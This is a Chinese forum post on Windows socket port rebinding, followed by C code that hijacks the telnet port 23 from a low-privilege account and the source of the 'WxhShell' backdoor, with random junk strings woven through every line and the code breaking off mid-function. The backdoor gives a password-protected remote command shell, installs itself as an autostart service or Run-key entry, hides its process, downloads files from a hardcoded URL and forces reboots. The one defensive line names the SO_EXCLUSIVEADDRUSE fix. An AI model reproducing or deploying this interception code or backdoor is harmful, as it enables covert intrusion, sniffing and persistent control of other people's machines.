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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ts<5%{M(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Pa 'g=-  
:-fCyF)EI  
  saddr.sin_family = AF_INET; *&Np;^~  
U^-:qT;CX  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); BlF>TI%2  
3<88j&9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); KnaQhZ  
}*4XwUM e  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /EZF5_`bT  
MN}@EQvW==  
  这意味着什么?意味着可以进行如下的攻击: &}_E~jKK  
}S\\"SBC  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }Dc0 Y  
sk5h_[tK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) m-xSF]q=<  
PO%Z.ol9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,edX;`#  
)hGRq'WA=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  SzR7:U  
|JC/A;ZH  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 w+)MrB-}  
lfba   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6",S$3q  
f02 <u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K;a]+9C  
*e&OpVn  
  #include :G=N|3  
  #include 0,a\vs%@X  
  #include 2MS1<VKZ@  
  #include    9tDo5 29  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Rf||(KC<  
  int main() 7s+3^'  
  { +&6R(7XC  
  WORD wVersionRequested; />=)=CGv;  
  DWORD ret; LmE%`qNg  
  WSADATA wsaData; 2Dgulx5kGZ  
  BOOL val; se(ZiyHp  
  SOCKADDR_IN saddr; j qfxQ  
  SOCKADDR_IN scaddr; .Zv@iL5  
  int err; %C^U?m`  
  SOCKET s; :Q@=;P2  
  SOCKET sc; FR"yGx#$  
  int caddsize; f s_6`Xt  
  HANDLE mt; }F=scbpXj  
  DWORD tid;   8h  
  wVersionRequested = MAKEWORD( 2, 2 ); L 1iA ^ x  
  err = WSAStartup( wVersionRequested, &wsaData ); FW~%xUSE5  
  if ( err != 0 ) { $9k7A 8K  
  printf("error!WSAStartup failed!\n"); f_2tMiy 5  
  return -1; P(D0ru  
  } *{5p/}p  
  saddr.sin_family = AF_INET; iPgewjx  
   JR>#PJ,N-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \X1?,gV_  
Q}zAC2@L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7VQ|3`!<  
  saddr.sin_port = htons(23); 5i `q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }i0(^"SoXZ  
  { !A!}j.s  
  printf("error!socket failed!\n"); JG\T2/b  
  return -1; "|ZC2Zu<  
  } {=};<;_F  
  val = TRUE; Qk2^p^ T6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +ExXhT  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N.R,[K  
  { ?"-%>y@w  
  printf("error!setsockopt failed!\n"); mux_S2x9m\  
  return -1; nW#UBtZ  
  } *Y'nDv6_P  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; YL*yiZ9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4&]Sb}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Jm0o[4  
.h O ) R.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r$7fw}'I  
  { H&Jp,<\x  
  ret=GetLastError(); 2 u:w  
  printf("error!bind failed!\n"); WxO2  
  return -1; >#~!03  
  } |-t>_+. J'  
  listen(s,2); 1o5n1 A  
  while(1) h r9rI  
  { qbcaiU`-^"  
  caddsize = sizeof(scaddr); H809gm3(Z  
  //接受连接请求 %N``EnF2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); I2"F2(>8K  
  if(sc!=INVALID_SOCKET) ;>%@  
  { )\oLUuL`;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); g+'=#NS}  
  if(mt==NULL) ^U1@ hq*u  
  { u~[=5r  
  printf("Thread Creat Failed!\n"); 3 ,;;C(  
  break; CRXIVver  
  } BOqu$f+  
  } jFAnhbbCE  
  CloseHandle(mt); LcL|'S)  
  } "`WcE/(  
  closesocket(s); A6-K~z^  
  WSACleanup(); N_<wiwI<  
  return 0; bp"@vlv  
  }   21k^MZ  
  DWORD WINAPI ClientThread(LPVOID lpParam) m][i-|@M  
  { , gYbi-E  
  SOCKET ss = (SOCKET)lpParam; NHI(}Ea|]  
  SOCKET sc; jNjm}8`t  
  unsigned char buf[4096]; y$-;6zk\]  
  SOCKADDR_IN saddr; fSR+~Vy  
  long num; x$p_mWC  
  DWORD val; M`m-@z  
  DWORD ret; BF >67 8h  
  //如果是隐藏端口应用的话,可以在此处加一些判断 D=ZH? d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   V!^5#A<  
  saddr.sin_family = AF_INET; :&59N^So|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W#^W1j>_G  
  saddr.sin_port = htons(23); 9UbD =}W  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J9buf}C[  
  { xb6y=L  
  printf("error!socket failed!\n"); xhq-$"B  
  return -1; c_p7vvI&c0  
  } 60RYw9d%0  
  val = 100; Ep }{m<8c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^)wTCkH&y  
  { [yFf(>B  
  ret = GetLastError(); 8Qm%T7]UFb  
  return -1; k+nfW]UNF  
  } ~6bf-Wg'X  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yv),>4_6  
  { M9*#8>  
  ret = GetLastError(); qhE1 7Hf  
  return -1; 8 16OV  
  } ph5rS<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) CN(}0/  
  { @cc4]>4  
  printf("error!socket connect failed!\n"); CRpMpPi@}  
  closesocket(sc); ()cqax4  
  closesocket(ss); ON()2@Y4  
  return -1; gjbSB6[  
  } vZ0K1UTEXY  
  while(1) APR"%(xD#  
  { hv4om+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6$.I>8n  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (-e*xM m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 tV'>9YVdG  
  num = recv(ss,buf,4096,0);  F0i`HO{  
  if(num>0) A3su!I2S  
  send(sc,buf,num,0); *PSUB{i(  
  else if(num==0) _zuX6DO  
  break; =eHoJq  
  num = recv(sc,buf,4096,0); }4dbS ;C<  
  if(num>0) 8(jUCD  
  send(ss,buf,num,0); ;1gWz  
  else if(num==0) 'c6t,%  
  break; &xgKHbg  
  } r9\7I7z  
  closesocket(ss); _`Lv@T.  
  closesocket(sc); 16cc9%   
  return 0 ; Qo%IZw$l  
  } XCAy _fL<B  
Mtw7aK  
k1h>8z.Tg  
========================================================== :U{$G( <  
GJeP~   
下边附上一个代码,,WXhSHELL <F%c"Rkh  
#'qDNY@w}  
========================================================== 7]J7'!Iz  
`<oNEr+#  
#include "stdafx.h" CW+]Jv]"  
Ow3t2G  
#include <stdio.h> K5"8zF)*  
#include <string.h> &;x*uG  
#include <windows.h> v9_7OMl/x  
#include <winsock2.h> o1k X`Eu  
#include <winsvc.h> hKjG/g:#G  
#include <urlmon.h> q4xP<b^  
l.iT+T  
#pragma comment (lib, "Ws2_32.lib") [t}@>@W|  
#pragma comment (lib, "urlmon.lib") Quts~Q  
azCod1aL{  
#define MAX_USER   100 // 最大客户端连接数 m|by^40A(  
#define BUF_SOCK   200 // sock buffer C{<dzooz  
#define KEY_BUFF   255 // 输入 buffer +9fQ YJBA  
?LAiSg=eq  
#define REBOOT     0   // 重启 eE0'3?q(  
#define SHUTDOWN   1   // 关机 .Xm?tC<   
K'@lXA:  
#define DEF_PORT   5000 // 监听端口 hN"cXz"/  
3!*qB-d  
#define REG_LEN     16   // 注册表键长度 L8{4>,  
#define SVC_LEN     80   // NT服务名长度 #-<n@qNg[  
FPC^-mD  
// 从dll定义API f [DZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *u)#yEJ)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {yCE>F\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ij{ K\{y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tso\bxiU  
}fqy vI  
// wxhshell配置信息 tupAU$h?!  
struct WSCFG { \b6vu^;p  
  int ws_port;         // 监听端口 W>'KE:!sp  
  char ws_passstr[REG_LEN]; // 口令 \; FE@  
  int ws_autoins;       // 安装标记, 1=yes 0=no hf1h*x^J  
  char ws_regname[REG_LEN]; // 注册表键名 8bf~uHAr  
  char ws_svcname[REG_LEN]; // 服务名 ^U.t5jj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :RG=3T[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ']__V[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G|eJac>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G5T(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $*S&i(z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9Z^\b)x  
&VdKL2  
}; d>1cKmH!  
IA3m.Vxj ^  
// default Wxhshell configuration q}r{%ypf  
struct WSCFG wscfg={DEF_PORT, 'mm~+hp  
    "xuhuanlingzhe", &0k`=?v$  
    1, %c-T Gr,  
    "Wxhshell", OBEHUJ5  
    "Wxhshell", .*~t2 :  
            "WxhShell Service", \<kQ::o1y  
    "Wrsky Windows CmdShell Service", 3[cGSI"+  
    "Please Input Your Password: ", 3DX@ggE2  
  1, 4SNDKFw  
  "http://www.wrsky.com/wxhshell.exe", 3:mZ1+  
  "Wxhshell.exe" s*9lYk0  
    }; T/nG\WZbZn  
^o-)y"GJ  
// 消息定义模块 D6vhW:t8?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w^=uq3X?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M=t;t0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l\"wdS}  
char *msg_ws_ext="\n\rExit."; ,1e\}^  
char *msg_ws_end="\n\rQuit."; /1z3Q_M  
char *msg_ws_boot="\n\rReboot..."; r=cm(AHF  
char *msg_ws_poff="\n\rShutdown..."; 9?Q0O\&uP  
char *msg_ws_down="\n\rSave to "; j|DjO?._'  
,(v=ZeI  
char *msg_ws_err="\n\rErr!"; E/ {v6S{)Y  
char *msg_ws_ok="\n\rOK!"; 4OTrMT$y  
 <6STw  
char ExeFile[MAX_PATH]; 4sM9~zC5  
int nUser = 0; %uQOAe55  
HANDLE handles[MAX_USER]; SpA-E/el  
int OsIsNt; *OU&`\bmE  
fI"OzIJV  
SERVICE_STATUS       serviceStatus; t+t D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qL2Sv(A Z!  
m2>$)\-;  
// 函数声明 )>r sX)  
int Install(void); X ApSKJ  
int Uninstall(void); 2"pFAQBw~i  
int DownloadFile(char *sURL, SOCKET wsh); 1`F25DhhY  
int Boot(int flag); `+]e}*7$f  
void HideProc(void); 3,dIW*<**  
int GetOsVer(void); PE&$2(  
int Wxhshell(SOCKET wsl); _BPp=(|  
void TalkWithClient(void *cs); ,wB)hp  
int CmdShell(SOCKET sock); L 4Sa,ZL  
int StartFromService(void); [+(fN  
int StartWxhshell(LPSTR lpCmdLine); c1}i|7/XSi  
ewOe A|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \o<&s{ 6L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?O.'_YS  
01">$  
// 数据结构和表定义 Gr|IM,5P4  
SERVICE_TABLE_ENTRY DispatchTable[] = 30<3DA_P  
{ !D~\uW1b  
{wscfg.ws_svcname, NTServiceMain}, /" 6Gh'  
{NULL, NULL}  +OeoA{-W  
}; C%q]o  
7$A=|/'nSA  
// 自我安装 -/LB-t  
int Install(void) 5fuYva >Ik  
{ V1 {'d[E*  
  char svExeFile[MAX_PATH]; P:k!dRb9{  
  HKEY key; -o B` v'  
  strcpy(svExeFile,ExeFile); a(IZ2Zmr  
wak`Jte=}m  
// 如果是win9x系统,修改注册表设为自启动 q?=_{oH9  
if(!OsIsNt) {  E-L>.tD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KF}_|~~T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?, oE_H  
  RegCloseKey(key); Y=(%t:#_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (5efNugc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (AswV7aGe  
  RegCloseKey(key); ZeE(gtM  
  return 0; b.mWB`59  
    } !I+F8p   
  } Np>0c -S  
} v])R6-T-  
else { JVq`v#8  
!HSX:qAP$  
// 如果是NT以上系统,安装为系统服务 PmlQW!gfBi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4R28S]Gb  
if (schSCManager!=0) B/gI~e0  
{ JTdcL mL  
  SC_HANDLE schService = CreateService a8cX {6  
  ( x%OJ3Qjj=  
  schSCManager, )vy_m_f&  
  wscfg.ws_svcname, ?a{>QyL  
  wscfg.ws_svcdisp, =g<Yi2  
  SERVICE_ALL_ACCESS, %+ur41HM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O_^ uLp  
  SERVICE_AUTO_START, ^)S<Ha  
  SERVICE_ERROR_NORMAL, @X]J MicJ  
  svExeFile, Je#vu`.\\  
  NULL, )@E'yHYO>  
  NULL, TQsTL2a  
  NULL, XBN,{  
  NULL, >+F +"NAN  
  NULL 9ve)+Lk  
  ); R/ 3#(5  
  if (schService!=0) H':0  
  { bw*D!mm,  
  CloseServiceHandle(schService); ~'t+X  
  CloseServiceHandle(schSCManager); c'uDK>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  R7ExMJw  
  strcat(svExeFile,wscfg.ws_svcname); VNHt ]Ewj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g]m}@b6(h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Mk|*=#e;  
  RegCloseKey(key); yCZ[z A  
  return 0; Vh8RVFi;c  
    } ](SqLTB+?  
  } ]tc Cr;  
  CloseServiceHandle(schSCManager); GpGq' 8|(  
} <-N7Skkk!  
} &D#B"XI  
yYPFk  
return 1; $##LSTA  
} YfJQ]tt 1  
 "xp>Vj  
// 自我卸载 *%jd>e7d  
int Uninstall(void) AN4(]_ ]  
{ LT6VZ,S  
  HKEY key; %)PQomn?  
1SY3  
if(!OsIsNt) { DPylc9[-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2X|nPhNi  
  RegDeleteValue(key,wscfg.ws_regname); RxXiSc`^z  
  RegCloseKey(key); m}GEx)Y D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QR*{}`+l  
  RegDeleteValue(key,wscfg.ws_regname); u!9bhL`  
  RegCloseKey(key); 7 ^n{BsN  
  return 0; u#`'|ko \9  
  } z[*Y%o8-r  
} L; 'C5#GN  
} }(v <f*7=n  
else { S'(Hl}h!.  
S\W&{+3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t2#zQ[~X!  
if (schSCManager!=0) A =l1_8,`h  
{ SS"Z>talw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `fUP q ;  
  if (schService!=0) am# (ms  
  { W;ADc2#)  
  if(DeleteService(schService)!=0) { nCPIpw,]M  
  CloseServiceHandle(schService); 0;:AT|U/d  
  CloseServiceHandle(schSCManager); pb}4{]sI  
  return 0; /V f L(  
  } ;BjJ<?^{  
  CloseServiceHandle(schService); [eZ'h8  
  } @W\ H%VR  
  CloseServiceHandle(schSCManager); ^5 ~)m6=2  
} 9Lqo^+0)\  
} n%I9l]  
K])| V  
return 1; 0uO<7IW9  
} ky0,#ZOF  
*kKdL  
// 从指定url下载文件 jWJ/gv~ $  
int DownloadFile(char *sURL, SOCKET wsh) XYHVw)  
{ *&vi3#ur  
  HRESULT hr; V|G[j\]E<  
char seps[]= "/"; 6uubkt  
char *token; gfm aO ]  
char *file; XaR(~2  
char myURL[MAX_PATH]; 8b:\@]g$  
char myFILE[MAX_PATH]; wm s@1~I  
rK r2 K'  
strcpy(myURL,sURL); egy#8U)Z  
  token=strtok(myURL,seps); OvtiFN^s'  
  while(token!=NULL) 0/0rWqg /  
  { 4Vrx9 sA1  
    file=token; p="K4E8~H  
  token=strtok(NULL,seps); {uji7TB  
  } W!4xE  
v m)'C C  
GetCurrentDirectory(MAX_PATH,myFILE); H\ONv=}7I  
strcat(myFILE, "\\"); 'w!8`LPu  
strcat(myFILE, file); C;.+ kE  
  send(wsh,myFILE,strlen(myFILE),0); S[L2vM)  
send(wsh,"...",3,0); OCYC Dn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ybgAyJ{J<  
  if(hr==S_OK) AAld2"r  
return 0; Oky9G C.a  
else 0fU^  
return 1; X]AbBzy  
:h)A/k_  
} ]#Q'~X W  
Trwk9 +  
// 系统电源模块 MtIhpTX  
int Boot(int flag) et0yS%7+?@  
{ z]F4Z'(e.  
  HANDLE hToken; 32ae? d  
  TOKEN_PRIVILEGES tkp; m=p<.%a  
AC9#!# OGB  
  if(OsIsNt) { mB]Y;R<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \J?5K l[*c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4E.K6=k|=a  
    tkp.PrivilegeCount = 1; Il,^/qvIY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5 ,1q%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b6~MRfx`7  
if(flag==REBOOT) { {glRX R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &+>)H$5  
  return 0; 6 &)fZt  
} ."\&;:ZNv  
else { =*?2+ ;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )XAD#GYM  
  return 0; t(F] -[  
} 4*aNdh[t.  
  } Je~d/,^WU  
  else { ~ E|L4E  
if(flag==REBOOT) { yNu%D$6u7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z`lCS o;  
  return 0; *^5..0du  
}  %Jc>joU  
else { x#s=eeP1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VIjsz42C  
  return 0; 58 Rmq/6s  
} M`kR2NCi  
} ,"!P{c  
6X.lncE@p  
return 1; !rMl" Y[  
} 4$<-3IP,  
 zOnQ656  
// win9x进程隐藏模块 Ug|o ($CY  
void HideProc(void) C5jR||  
{ _Ak?i\  
T c{]w?V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =2=n   
  if ( hKernel != NULL ) Q9 * N/2+  
  { :,^pLAt  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q$=EUB"C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >@o}l:*  
    FreeLibrary(hKernel); (W l5F  
  } ,lly=OhKb  
%wp#vO-$  
return; #815h,nP+  
} @|^2 +K/  
\Ow-o0  
// 获取操作系统版本 bUp ,vc*  
int GetOsVer(void) hA81(JWG  
{ r&|-6OQZZ  
  OSVERSIONINFO winfo; VIxt;yE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Sh_=dzM  
  GetVersionEx(&winfo); ?"no~(EB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *0,?QS-a  
  return 1; =Xc[EUi<;g  
  else U-#t&yjh#  
  return 0; O} !L;?  
} y'<juaw  
3=r8kh7,  
// 客户端句柄模块 n_n0Q}du  
int Wxhshell(SOCKET wsl) hC.7Z]  
{ J0U9zI4  
  SOCKET wsh; +{j? +4(B  
  struct sockaddr_in client; 43;@m}|7$  
  DWORD myID; _r}oYs%1  
@:~O  
  while(nUser<MAX_USER) f*g>~!  
{ t?0D*!D  
  int nSize=sizeof(client); rwlV\BU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AVR9G^ce_  
  if(wsh==INVALID_SOCKET) return 1; Odr@9MJ  
Upr:sB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6 1Nj&1Ze  
if(handles[nUser]==0) :I5]|pt  
  closesocket(wsh); =$g8"[4   
else w49Wl>M  
  nUser++; j:0VtJo~  
  } $;_'5`xs  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); & CiUU  
;C%D+"l1g  
  return 0; NBR6$n  
} l{4=La{?j  
'?5=j1  
// 关闭 socket 1V?}";T  
void CloseIt(SOCKET wsh) }}?L'Vby  
{ DFs J}` $  
closesocket(wsh); &tKs t,UR8  
nUser--; xyx.1o e!  
ExitThread(0); jz|zq\Eek  
} LS?hb)7  
4T6dju  
// 客户端请求句柄 8^zI  
void TalkWithClient(void *cs) qyc:;3?wm  
{ iLy }G7h  
g!7/iKj:  
  SOCKET wsh=(SOCKET)cs; b^PYA_k-Xn  
  char pwd[SVC_LEN]; .F.4fk  
  char cmd[KEY_BUFF]; !wvP 24"y  
char chr[1]; 6Pl$DSu  
int i,j; Mno4z/4{A  
K(Otgp+zb  
  while (nUser < MAX_USER) { !5 %c`4  
$dci?7q  
if(wscfg.ws_passstr) { #:z.Br`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v4(!~S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hH{&k>  
  //ZeroMemory(pwd,KEY_BUFF); Gy 'l;2  
      i=0; 8;.WX  
  while(i<SVC_LEN) { W*-+j*e|_P  
mN_RB{g{  
  // 设置超时 52K3N^RgR  
  fd_set FdRead; sxl29y^*  
  struct timeval TimeOut; tp_*U,  
  FD_ZERO(&FdRead); hp,bfcM  
  FD_SET(wsh,&FdRead); vgHMVzxj  
  TimeOut.tv_sec=8; I9ubVcV8  
  TimeOut.tv_usec=0; `>'E4z]-_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FbJlyWND  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `pm6Ts{,  
zfO0+fMH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \8=>l?P  
  pwd=chr[0]; 5>"$95D  
  if(chr[0]==0xd || chr[0]==0xa) { [st4FaQ36  
  pwd=0; uOs 8|pj,  
  break; EG59L~nM  
  } }Hrm/Ni  
  i++; \NS\>Q+d  
    } F%lP<4Vx  
X|7gj &1  
  // 如果是非法用户,关闭 socket ]U! ?{~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Bh"o{-$p8`  
} $=TFTSO  
^4O1:_|G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4At%{E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Obrv5 %'  
Q~#udEajI  
while(1) { gx#xB8n  
`3SY~&X  
  ZeroMemory(cmd,KEY_BUFF); W7S`+Pq  
7P?z{x':T  
      // 自动支持客户端 telnet标准   6^s=25>p  
  j=0; ,*Tf9=z  
  while(j<KEY_BUFF) { G  2+A`\]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u8v;O}#  
  cmd[j]=chr[0]; >jME == U0  
  if(chr[0]==0xa || chr[0]==0xd) { dG'aJQw  
  cmd[j]=0; >>Z.]  
  break; 0ym>Hbax)  
  } D4ESo)15'  
  j++; Z[R E|l{  
    } :,Q\!s!  
!0CC&8C`  
  // 下载文件 `6)GjZh^  
  if(strstr(cmd,"http://")) { ?"N, do  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); eqb8W5h'  
  if(DownloadFile(cmd,wsh)) (y[+s?;WyB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6.ASLH3#  
  else a"EX<6"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |77.Lqqy,  
  } fr#Y<=Jo  
  else { "G].hKgbk*  
)pJ} $[6  
    switch(cmd[0]) { y>_lxLhmO#  
  J70#pF  
  // 帮助 (, /`*GC  
  case '?': { CH[U.LJQ-O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =J&vr  
    break; 'X d_8.  
  } :3pJGMv(  
  // 安装 V##=-KZ  
  case 'i': { { Iy<iV  
    if(Install()) xeF0^p7Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c Owa^;  
    else 0?8O9i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <^c?M[ j  
    break; y[:\kI  
    } 9=O`?$y  
  // 卸载 dl mF?N|EC  
  case 'r': { y{ %2Q)  
    if(Uninstall()) u9ObFm$7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6c,]N@,Zw  
    else [nZf4KN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  S<#>g s4  
    break; {4J:t_<nKO  
    } zP$0B!9  
  // 显示 wxhshell 所在路径 IL;JdIa  
  case 'p': { kU{+@MA;  
    char svExeFile[MAX_PATH]; j*+[=X/  
    strcpy(svExeFile,"\n\r"); mSF>~D1_  
      strcat(svExeFile,ExeFile); VW:WB.K$  
        send(wsh,svExeFile,strlen(svExeFile),0); Q>Voa&tYn  
    break; .<%2ON_  
    } ^aYlu0Wm  
  // 重启 kH/u]+_  
  case 'b': { W/DSj :  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y.PWh<dI  
    if(Boot(REBOOT)) R?MRRq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E w#UlA:"v  
    else { 44C"Pl E u  
    closesocket(wsh); }N[|2n R'  
    ExitThread(0); r@b M3V_o  
    } <qJI]P  
    break; B3|h$aKC  
    } dO]N&'P7  
  // 关机 R+{QZ'K.qg  
  case 'd': { 1W3+ng  
